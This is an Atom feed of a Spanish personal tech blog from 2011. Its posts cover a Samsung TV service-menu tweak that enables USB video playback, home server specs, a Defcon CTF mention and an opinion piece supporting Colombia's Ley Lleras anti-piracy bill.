<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-8248563728475996452</id><updated>2012-01-22T22:29:42.326-05:00</updated><category term='Historias de Ayer y hoy'/><category term='Programación'/><category term='TV'/><category term='Samsung'/><category term='Consultoria'/><category term='General'/><category term='Kinect'/><category term='Yo'/><category term='Y yo que se'/><title type='text'>Code in the hell</title><subtitle type='html'></subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://codeinthehell.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8248563728475996452/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://codeinthehell.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>Ahharu</name><uri>http://www.blogger.com/profile/15740693214280826332</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' src='http://4.bp.blogspot.com/-RRZhZXC1W_k/TuEqaZU7fzI/AAAAAAAAAUA/swwDROJ4ovI/s220/__cyber___by_GrotesquePuPPyMeow.jpg'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>32</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-8248563728475996452.post-7933249900344291837</id><published>2011-11-14T03:18:00.001-05:00</published><updated>2011-11-14T04:38:07.938-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Samsung'/><category scheme='http://www.blogger.com/atom/ns#' term='TV'/><title type='text'>Samsung UN40D5003 - Reproducir Video desde USB</title><content type='html'>&lt;div style="text-align: justify;"&gt;El Samsung UN40D5003 es en si un televisor LED Full HD bastante básico, no tiene configuraciones complejas y su funcionalidad esta bastante limitada para televisores de ultima generación; siendo el modelo correspondiente a la linea de bajo costo de Samsung. Ahora, es importante el anotar que para una compañía es demasiado costoso fabricar múltiples placas madre para diferentes modelos de la misma linea... esto significa que aunque este modelo puede parecer un "cheaper" realmente tiene las capacidades suficientes para tener toda la funcionalidad de uno de mayor costo y sin mucho esfuerzo... so let's go motafocas.&lt;/div&gt;&lt;br /&gt;&lt;div style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;strong&gt;Activando la Reproducción de Video&lt;/strong&gt;&lt;br /&gt;&lt;strong&gt;&lt;br /&gt;&lt;/strong&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Inicialmente debemos ingresar en el menú de servicio del televisor, así que apagamos el televisor y luego oprimimos [Mute][1][8][2][Power], deberían ver algo como...&lt;strong&gt;&lt;br /&gt;&lt;/strong&gt;&lt;/div&gt;&lt;br /&gt;&lt;img border="0" height="150" src="http://1.bp.blogspot.com/-Six_UWsEuh8/TsDWHT3KzFI/AAAAAAAAASE/dISZjgVDxy0/s200/11142011297.jpg" width="200" /&gt;&lt;img border="0" height="150" src="http://2.bp.blogspot.com/-xkcZ-WlXuQU/TsDWpETUKtI/AAAAAAAAASU/yup9NGeawco/s200/11142011300.jpg" width="200" /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/--29aGUmvXZc/TsDWS_OVEXI/AAAAAAAAASM/FaqLAJAuRrQ/s1600/11142011299.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="150" src="http://3.bp.blogspot.com/--29aGUmvXZc/TsDWS_OVEXI/AAAAAAAAASM/FaqLAJAuRrQ/s200/11142011299.jpg" width="200" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Así que vemos el Menú principal de servicio y con el modelo de nuestro tv, le apachurramos al [Enter] en "Option" y luego en "Model", apachurramos el botón de la derecha y cambiamos el modelo a UD5800, oprimimos return hasta llegar al menú principal y vamos a "Control", luego a "Sound" y habilitamos la opción de "High Devi", apagamos y prendemos y voila, tendremos unas cuantas (muchas) nuevas opciones, entre ellas ahora podremos reproducir videos en múltiples formatos (flv, avi, mpg, mkv, mp4, divx... no webm no :P) desde los dispositivos USB, los subtitulos deben tener el mismo nombre del archivo de video y funcionaran, otras opciones no han desaparecido, solo se han movido (como el cambio de modo de video) así que no os desespereis (PD: Lo de network no funca, ese es tema de otro post).&lt;/div&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-AQBtuygJ7gU/TsDZf8a7JNI/AAAAAAAAASc/SrNcJpQ8gPM/s1600/11142011301.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="150" src="http://4.bp.blogspot.com/-AQBtuygJ7gU/TsDZf8a7JNI/AAAAAAAAASc/SrNcJpQ8gPM/s200/11142011301.jpg" width="200" /&gt;&amp;nbsp;&lt;img border="0" height="150" src="http://2.bp.blogspot.com/-CXzaK84TG_8/TsDZi6w-L-I/AAAAAAAAASk/xiExXVaHmKg/s200/11142011302.jpg" width="200" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;img border="0" height="150" src="http://1.bp.blogspot.com/-rtDWNMtBh7I/TsDZntjGEdI/AAAAAAAAAS0/vMDuJHFJ7EQ/s200/11142011307.jpg" width="200" /&gt;&amp;nbsp;&lt;img border="0" height="150" src="http://1.bp.blogspot.com/-7NLoFfyO2Go/TsDZlBTSS1I/AAAAAAAAASs/JZHjNuKuwKU/s200/11142011304.jpg" width="200" /&gt;&lt;strong&gt;&lt;br /&gt;&lt;/strong&gt;&lt;br /&gt;&lt;strong&gt;&lt;br /&gt;&lt;/strong&gt;&lt;br /&gt;&lt;strong&gt;Como... NO CAGARLA&lt;/strong&gt;&lt;br /&gt;&lt;strong&gt;&lt;br /&gt;&lt;/strong&gt;&lt;br /&gt;Es de entender el que es un tanto riesgoso el meterse con todos los parámetros (para que se activen mas opciones se debe oprimir 4 veces '0'), teniendo en cuenta esto es de SUMA importancia el entender que los nombres de los modelos van de la siguiente forma:&lt;br /&gt;&lt;tipo&gt;&lt;region&gt;&lt;tamaño&gt;&lt;año&gt;&lt;serie&gt;&lt;variante&gt;&lt;/variante&gt;&lt;/serie&gt;&lt;/año&gt;&lt;/tamaño&gt;&lt;/region&gt;&lt;/tipo&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Tipo:&lt;/strong&gt; L = LCD, P = Plasma, U = LED.&lt;br /&gt;&lt;strong&gt;Región:&lt;/strong&gt; A = Australia, E = Europa, N = Norte America.&lt;br /&gt;&lt;strong&gt;Tamaño:&lt;/strong&gt; ... Ya me jode ¬¬.&lt;br /&gt;&lt;strong&gt;Año:&lt;/strong&gt; A = 2008, B = 2009, C = 2010, D = 2011.&lt;br /&gt;&lt;strong&gt;Serie:&lt;/strong&gt; 5XXX, 6XXX, etc..&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;strong&gt;Variante:&lt;/strong&gt; Depende del País (Es por eso que el jodido update de firmware de la pagina de Samsung no le funca a &amp;nbsp;los televisores de Colombia)&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Por todo lo anterior, usar ciertos tipos de modelos puede JODER el televisor, ya que no es lo mismo LCD que LED, lo de High Dev es para soportar Matroska y ya me canse de escribir así que choas.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Es increíble lo bajo que caes... de hackear el protocolo mas seguro del mundo... a hackear televisores y sin &amp;nbsp;una sola linea de código... yeah I'm a fucking death star ¬¬.&lt;/div&gt;&lt;br /&gt;&lt;strong&gt;Att: Iker&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8248563728475996452-7933249900344291837?l=codeinthehell.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://codeinthehell.blogspot.com/feeds/7933249900344291837/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://codeinthehell.blogspot.com/2011/11/samsung-un40d5003-reproducir-video.html#comment-form' title='9 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8248563728475996452/posts/default/7933249900344291837'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8248563728475996452/posts/default/7933249900344291837'/><link rel='alternate' type='text/html' href='http://codeinthehell.blogspot.com/2011/11/samsung-un40d5003-reproducir-video.html' title='Samsung UN40D5003 - Reproducir Video desde USB'/><author><name>Ahharu</name><uri>http://www.blogger.com/profile/15740693214280826332</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' src='http://4.bp.blogspot.com/-RRZhZXC1W_k/TuEqaZU7fzI/AAAAAAAAAUA/swwDROJ4ovI/s220/__cyber___by_GrotesquePuPPyMeow.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/-Six_UWsEuh8/TsDWHT3KzFI/AAAAAAAAASE/dISZjgVDxy0/s72-c/11142011297.jpg' height='72' width='72'/><thr:total>9</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8248563728475996452.post-8529750452307288229</id><published>2011-11-09T11:45:00.000-05:00</published><updated>2011-11-09T11:45:19.764-05:00</updated><title type='text'>Do you wanna Code?</title><content type='html'>Take your code...&lt;br /&gt;&lt;br /&gt;http://pastebin.com/R6d7Jjxh&lt;br /&gt;&lt;br /&gt;Saludos,&lt;br /&gt;&lt;br /&gt;Att: &lt;strong&gt;Iker&lt;/strong&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8248563728475996452-8529750452307288229?l=codeinthehell.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://codeinthehell.blogspot.com/feeds/8529750452307288229/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://codeinthehell.blogspot.com/2011/11/do-you-wanna-code.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8248563728475996452/posts/default/8529750452307288229'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8248563728475996452/posts/default/8529750452307288229'/><link rel='alternate' type='text/html' href='http://codeinthehell.blogspot.com/2011/11/do-you-wanna-code.html' title='Do you wanna Code?'/><author><name>Ahharu</name><uri>http://www.blogger.com/profile/15740693214280826332</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' src='http://4.bp.blogspot.com/-RRZhZXC1W_k/TuEqaZU7fzI/AAAAAAAAAUA/swwDROJ4ovI/s220/__cyber___by_GrotesquePuPPyMeow.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8248563728475996452.post-349986033320183403</id><published>2011-10-16T12:08:00.002-05:00</published><updated>2011-10-16T12:08:36.915-05:00</updated><title type='text'>La guerra desde otro punto de vista</title><content type='html'>Y buehh, que hace rato no publico (Y que tengo un montón que), les dejo una tragicomedia bastante interesante, viendo la guerra desde el punto de vista criptografico.&lt;br /&gt;&lt;br /&gt;http://www.kriptopolis.org/la-maquina-enigma&lt;br /&gt;&lt;br /&gt;Saludos,&lt;br /&gt;&lt;br /&gt;Att: &lt;strong&gt;Iker&lt;/strong&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8248563728475996452-349986033320183403?l=codeinthehell.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://codeinthehell.blogspot.com/feeds/349986033320183403/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://codeinthehell.blogspot.com/2011/10/la-guerra-desde-otro-punto-de-vista.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8248563728475996452/posts/default/349986033320183403'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8248563728475996452/posts/default/349986033320183403'/><link rel='alternate' type='text/html' href='http://codeinthehell.blogspot.com/2011/10/la-guerra-desde-otro-punto-de-vista.html' title='La guerra desde otro punto de vista'/><author><name>Ahharu</name><uri>http://www.blogger.com/profile/15740693214280826332</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' src='http://4.bp.blogspot.com/-RRZhZXC1W_k/TuEqaZU7fzI/AAAAAAAAAUA/swwDROJ4ovI/s220/__cyber___by_GrotesquePuPPyMeow.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8248563728475996452.post-8703815746666715008</id><published>2011-07-18T15:16:00.003-05:00</published><updated>2011-07-18T16:15:52.165-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Yo'/><category scheme='http://www.blogger.com/atom/ns#' term='General'/><title type='text'>New... New... New TOY!!!</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/-FmyVldIiQws/TiSUyYACZEI/AAAAAAAAAP8/pXWKat3Wv-c/s1600/07162011186.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 300px;" src="http://2.bp.blogspot.com/-FmyVldIiQws/TiSUyYACZEI/AAAAAAAAAP8/pXWKat3Wv-c/s400/07162011186.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5630789027276940354" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Specs&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Base Model:&lt;/span&gt;  HP Proliant ML150 G6&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;CPU:&lt;/span&gt; Intel Xeon x5560 2.8 GHz X 2&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Video:&lt;/span&gt; Nvidia GeForce GTX 580&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Memory:&lt;/span&gt; 12 GB DDR3 ECC (1333Mhz) 9-9-9-24&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Power Supply:&lt;/span&gt; Antec CP-850&lt;br /&gt;&lt;br /&gt;:)&lt;br /&gt;&lt;br /&gt;Salu2.&lt;br /&gt;&lt;br /&gt;Att: &lt;span style="font-weight:bold;"&gt;Iker&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8248563728475996452-8703815746666715008?l=codeinthehell.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://codeinthehell.blogspot.com/feeds/8703815746666715008/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://codeinthehell.blogspot.com/2011/07/new-new-new-toy.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8248563728475996452/posts/default/8703815746666715008'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8248563728475996452/posts/default/8703815746666715008'/><link rel='alternate' type='text/html' href='http://codeinthehell.blogspot.com/2011/07/new-new-new-toy.html' title='New... New... New TOY!!!'/><author><name>Ahharu</name><uri>http://www.blogger.com/profile/15740693214280826332</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' src='http://4.bp.blogspot.com/-RRZhZXC1W_k/TuEqaZU7fzI/AAAAAAAAAUA/swwDROJ4ovI/s220/__cyber___by_GrotesquePuPPyMeow.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/-FmyVldIiQws/TiSUyYACZEI/AAAAAAAAAP8/pXWKat3Wv-c/s72-c/07162011186.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8248563728475996452.post-8220667657942128687</id><published>2011-05-18T12:11:00.002-05:00</published><updated>2011-05-18T12:18:57.685-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Yo'/><title type='text'>Defcon</title><content type='html'>Pues eso, este año vamos para el CTF.&lt;br /&gt;&lt;br /&gt;Att: &lt;span style="font-weight:bold;"&gt;Iker&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8248563728475996452-8220667657942128687?l=codeinthehell.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://codeinthehell.blogspot.com/feeds/8220667657942128687/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://codeinthehell.blogspot.com/2011/05/defcon.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8248563728475996452/posts/default/8220667657942128687'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8248563728475996452/posts/default/8220667657942128687'/><link rel='alternate' type='text/html' href='http://codeinthehell.blogspot.com/2011/05/defcon.html' title='Defcon'/><author><name>Ahharu</name><uri>http://www.blogger.com/profile/15740693214280826332</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' src='http://4.bp.blogspot.com/-RRZhZXC1W_k/TuEqaZU7fzI/AAAAAAAAAUA/swwDROJ4ovI/s220/__cyber___by_GrotesquePuPPyMeow.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8248563728475996452.post-5132092694200113967</id><published>2011-04-20T12:31:00.000-05:00</published><updated>2011-04-20T12:32:26.610-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Historias de Ayer y hoy'/><category scheme='http://www.blogger.com/atom/ns#' term='General'/><category scheme='http://www.blogger.com/atom/ns#' term='Programación'/><category scheme='http://www.blogger.com/atom/ns#' term='Y yo que se'/><title type='text'>Skynet!!!!</title><content type='html'>Ayer fue el día que skynet toma conciencia, lastima que se tire casi 1 semana en reinicio, reconstrucción de raids y demás xD. (Tengo FEAR!!)&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/-AJBvf6bEQuA/Ta7OJYaWj-I/AAAAAAAAFmg/-2mzvqq4mmM/s1600/SKYNET.gif"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 1388px;" src="http://3.bp.blogspot.com/-AJBvf6bEQuA/Ta7OJYaWj-I/AAAAAAAAFmg/-2mzvqq4mmM/s1600/SKYNET.gif" border="0" alt="" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8248563728475996452-5132092694200113967?l=codeinthehell.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://codeinthehell.blogspot.com/feeds/5132092694200113967/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://codeinthehell.blogspot.com/2011/04/skynet.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8248563728475996452/posts/default/5132092694200113967'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8248563728475996452/posts/default/5132092694200113967'/><link rel='alternate' type='text/html' href='http://codeinthehell.blogspot.com/2011/04/skynet.html' title='Skynet!!!!'/><author><name>Ahharu</name><uri>http://www.blogger.com/profile/15740693214280826332</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' src='http://4.bp.blogspot.com/-RRZhZXC1W_k/TuEqaZU7fzI/AAAAAAAAAUA/swwDROJ4ovI/s220/__cyber___by_GrotesquePuPPyMeow.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/-AJBvf6bEQuA/Ta7OJYaWj-I/AAAAAAAAFmg/-2mzvqq4mmM/s72-c/SKYNET.gif' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8248563728475996452.post-1418283276931308542</id><published>2011-04-11T09:48:00.005-05:00</published><updated>2011-04-11T13:10:22.345-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Consultoria'/><category scheme='http://www.blogger.com/atom/ns#' term='Yo'/><title type='text'>Ley Lleras</title><content type='html'>A ver, comencemos... Últimamente debido a digamos que mi conocida afición por el hacking, programación, &lt;strike&gt;piratería&lt;/strike&gt; se me ha preguntado bastante por mi opinión y acciones futuras acerca de la "Ley Lleras".&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Situación&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;El 90% de mis conocidos apoya la Ley Lleras con argumentos como:&lt;br /&gt;&lt;br /&gt;* Nos van a meter a todos a la cárcel.&lt;br /&gt;* Ya no voy a poder pasarle música a mis amigos.&lt;br /&gt;* Ya no voy a poder bajar música de internet ni películas, ni series, ni nada!!.&lt;br /&gt;* No voy a poder bajar el Fotoshock ni el Coral ni el Nada y no seré nadie cuando grande.&lt;br /&gt;* Nos van a joder a los usuarios, nos van a vigilar el trafico a internet y luego nos mutilan y luego nos matan y nos tiran a los lobos.&lt;br /&gt;* No me alcanza la plata para el Ventanucos y la Oficina y el Fotoshock y el Coral y (Largo etc...).&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Mi posición&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Actualmente vemos en Colombia una linda feria de carnaval en cada esquina, vendiendo programas piratas, música, películas y cuanta gilipollez se les ocurre. Según la opinión publica eso esta "mal" pero bien que se la pasan halla metidos comprando. Si yo fuera el artista, director, etc. que saco ese disco, película o cualquier otra "gilipollez" estaría sumamente cabreado y repartiendo ostias en el centro de Bogota.&lt;br /&gt;&lt;br /&gt;Internet es actualmente un mundo total y absolutamente anarquista donde se puede encontrar DE TODO y es que solamente tenemos que saber buscar para encontrar cosas como "Pornografía infantil, Drogas, Videos de Masacres, torturas, filias, etc."; obviamente nadie puede controlar internet, pero haciendo una analogía, es exactamente como una sociedad, un mundo nuevo, pero sin reglas!!!(&lt;strike&gt;Venga, todos a ver porno&lt;/strike&gt;).&lt;br /&gt;&lt;br /&gt;Ahora comencemos a responder uno a uno esos argumentos que tanto tienen como emblema los detractores del proyecto de ley:&lt;br /&gt;&lt;br /&gt;* Nos van a meter a todos a la cárcel.&lt;br /&gt;&lt;br /&gt;Si uno sale a robar a la calle también lo meten a la cárcel, si uno se baja toda la discografia de pepito perez y la filarmonica de narnia también lo deberían meter a la cárcel.&lt;br /&gt;&lt;br /&gt;* Ya no voy a poder pasarle música a mis amigos.&lt;br /&gt;&lt;br /&gt;A ver... uds de verdad creen que van a estar al detalle de "personas" teniendo 2 millones de usuarios de internet?, realmente cada uno de uds tienen tanto ego como para pensar eso?, a menos que genere un trafico "respetable"(&lt;strike&gt;Como molan los 16 megas de ETB&lt;/strike&gt;) no le va a pasar nada.&lt;br /&gt;&lt;br /&gt;* Ya no voy a poder bajar música de internet ni películas, ni series, ni nada!!.&lt;br /&gt;&lt;br /&gt;De hecho, no deberían hacerlo. Les contare un secreto... Yo me bajo películas a mogollón de internet y cuando me gustan voy a verlas a cine, bueno; se me acabo el paraíso y de hecho todos sabemos que esta mal hecho.&lt;br /&gt;&lt;br /&gt;* No voy a poder bajar el Fotoshock ni el Coral ni el Nada y no seré nadie cuando grande.&lt;br /&gt;&lt;br /&gt;De hecho hay una cantidad nada despreciable de programadores invirtiendo investigación, tiempo, neuronas(&lt;strike&gt;Que cuando uno programa pierde cantidades&lt;/strike&gt;) y dinero en hacer programas de calidad para venderlos al precio que ellos creen justo, así que no deberían bajar ni el "fotoshock" ni el "Coral" ni el nada, si no tienen para comprarlos muy simple...DE MALAS... vivimos en una sociedad capitalista desde hace mas de 100 años, seria bueno irse acostumbrando. O acaso alguien sale a robarle las pizzas de Pizza 1969 por que son mas caras?, NO!!, simplemente no las compran, que las de la tienda de la esquina son mas baratas, pues si, pero no son iguales probablemente. Y es que es muy simple, esas personas tienen como objetivo la ley del mínimo esfuerzo (&lt;strike&gt;Todo masticado&lt;/strike&gt;). Lo mas gracioso de esto es que muchos de ellos son los mismos "linuxeros", que coños hace un linuxero protestando?, no se supone que solo usa software libre y con eso se puede valer por si mismo?.&lt;br /&gt;&lt;br /&gt;* Nos van a joder a los usuarios, nos van a vigilar el trafico a internet y luego nos mutilan y luego nos matan y nos tiran a los lobos.&lt;br /&gt;&lt;br /&gt;Vuelvo a la Analogía, si en las calles no hubieran policías todo el mundo robaría y haría lo que se le de la gana; adivinen que?, en internet todo el mundo hace lo que se le da la gana!!!.&lt;br /&gt;La mayoría de los que protestan por la ley Lleras son menores de 30 años ansiosos de libertad(&lt;strike&gt;Que confunden con libertinaje&lt;/strike&gt;)... eso dice mucho, (&lt;strike&gt;De hecho yo también soy un cagon&lt;/strike&gt;), por que a los que tienen mas de 30 años (La mayoría padres) no les preocupa tanto eso?(&lt;strike&gt;Ostia para el que diga que es que no saben usarla&lt;/strike&gt;), les preocupa ver mas a sus hijos pudriéndose en internet con todo (Recordar que se encuentra de todo) lo que encuentran a diario que bajar una canción de Los Ramoncios y el Acido Burico.&lt;br /&gt;Si van a reclamar, que sea con argumentos y no un don nadie que no ha vivido la mitad de su vida(&lt;strike&gt;Pienso morir a los 40, asi que ya vivi mas de la mitad de mi vida JA!!!&lt;/strike&gt;).&lt;br /&gt;&lt;br /&gt;* No me alcanza la plata para el Ventanucos y la Oficina y el Fotoshock y el Coral y (Largo etc...).&lt;br /&gt;&lt;br /&gt;Volvemos a lo mismos... Sociedad Capitalista!!!, si quieren software gratis, gente saltando entre flores y compartiendo y cosas tipo así; tienen opciones socialistas... di tu China, Corea del Norte, Cuba... tentadores ofertas no?.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Para terminar, yo nunca he manifestado mi aprobación de la Ley Sinde o Hanopi, de hecho en mi parecer son extremas, pero tampoco quiero expresar el que no se deba regular internet, es necesario hacerlo, pero hacerlo bien. Mi post no es en contra de los que van en contra(&lt;strike&gt;Tres Tristes Tigres...&lt;/strike&gt;) de la ley, mi post es en contra de los hipócritas que reclaman una libertad que no son capaces de manejar, una libertad que ni siquiera comprender y un mundo que ni siquiera conocen y que muy seguramente no les interesa conocer.&lt;br /&gt;Es obvio que existen falencias en el proyecto de Ley, pero es por corregir estas por lo que deben pelear no por el que "no se apruebe la ley por que no me puedo bajar el ultimo de Papa Yonki".&lt;br /&gt;La pelea debe ser por ver que sea bien aplicada, que se cumplan sus diferentes puntos, que sean claros y que realmente ejerza un control en la red.&lt;br /&gt;&lt;br /&gt;Es cierto que esto no acabara la piratería, de hecho para poder acabarla se necesita la colaboración de todos, no solo del gobierno si no también de las empresas y las personas, un ejemplo simple seria el que Microsoft declarara una semana de licenciamiento masivo de Windows a 30 us, los usuarios piratas son un mercado perdido para Microsoft, si logra penetración en este mercado indudablemente gana, no tiene nada que perder (Pero yo si me quejo, por que mi copia de Windows me valió 300 us ¬¬); lamentablemente esos esfuerzos de parte y parte... no se darán y es básicamente por que este mundo es una mierda y le quedan solamente 619 Días.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;PD1: Si quieren ver modelos de verdaderas sociedades y como la piratería no les llega a afectar de la misma forma que al 90% del mundo pueden ver el caso de Japón.&lt;br /&gt;&lt;br /&gt;PD2: No, y no, y otra vez!!! no me voy a unir a causas en contra ni a favor del proyecto de Ley y mucho menos me voy a hackear o DOSear(&lt;strike&gt;Venga, venga, lamos al poder!!!&lt;/strike&gt;) paginas del gobierno con excusas tontas como el tumbar el proyecto de Ley.&lt;br /&gt;&lt;br /&gt;PD3: Acepto y estoy dispuesto a "hablar" acerca de este tema, mas no a "discutir" de forma vaga y sin argumentos con fanboys y Testículos(Albóndigas) de Jehovah convertidos a la religión del Monstruo de Espagueti Volador(&lt;strike&gt;El dios de Internet...Amen&lt;/strike&gt;).&lt;br /&gt;&lt;br /&gt;Joder que se me iba olvidando la tira:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/-dniLeYlSRsw/TY-VpQykyYI/AAAAAAAAFkc/fB7lAKOeUno/s1600/199.gif"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 398px; height: 648px;" src="http://4.bp.blogspot.com/-dniLeYlSRsw/TY-VpQykyYI/AAAAAAAAFkc/fB7lAKOeUno/s1600/199.gif" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Saludos.&lt;br /&gt;&lt;br /&gt;Att: &lt;span style="font-weight:bold;"&gt;Iker&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' 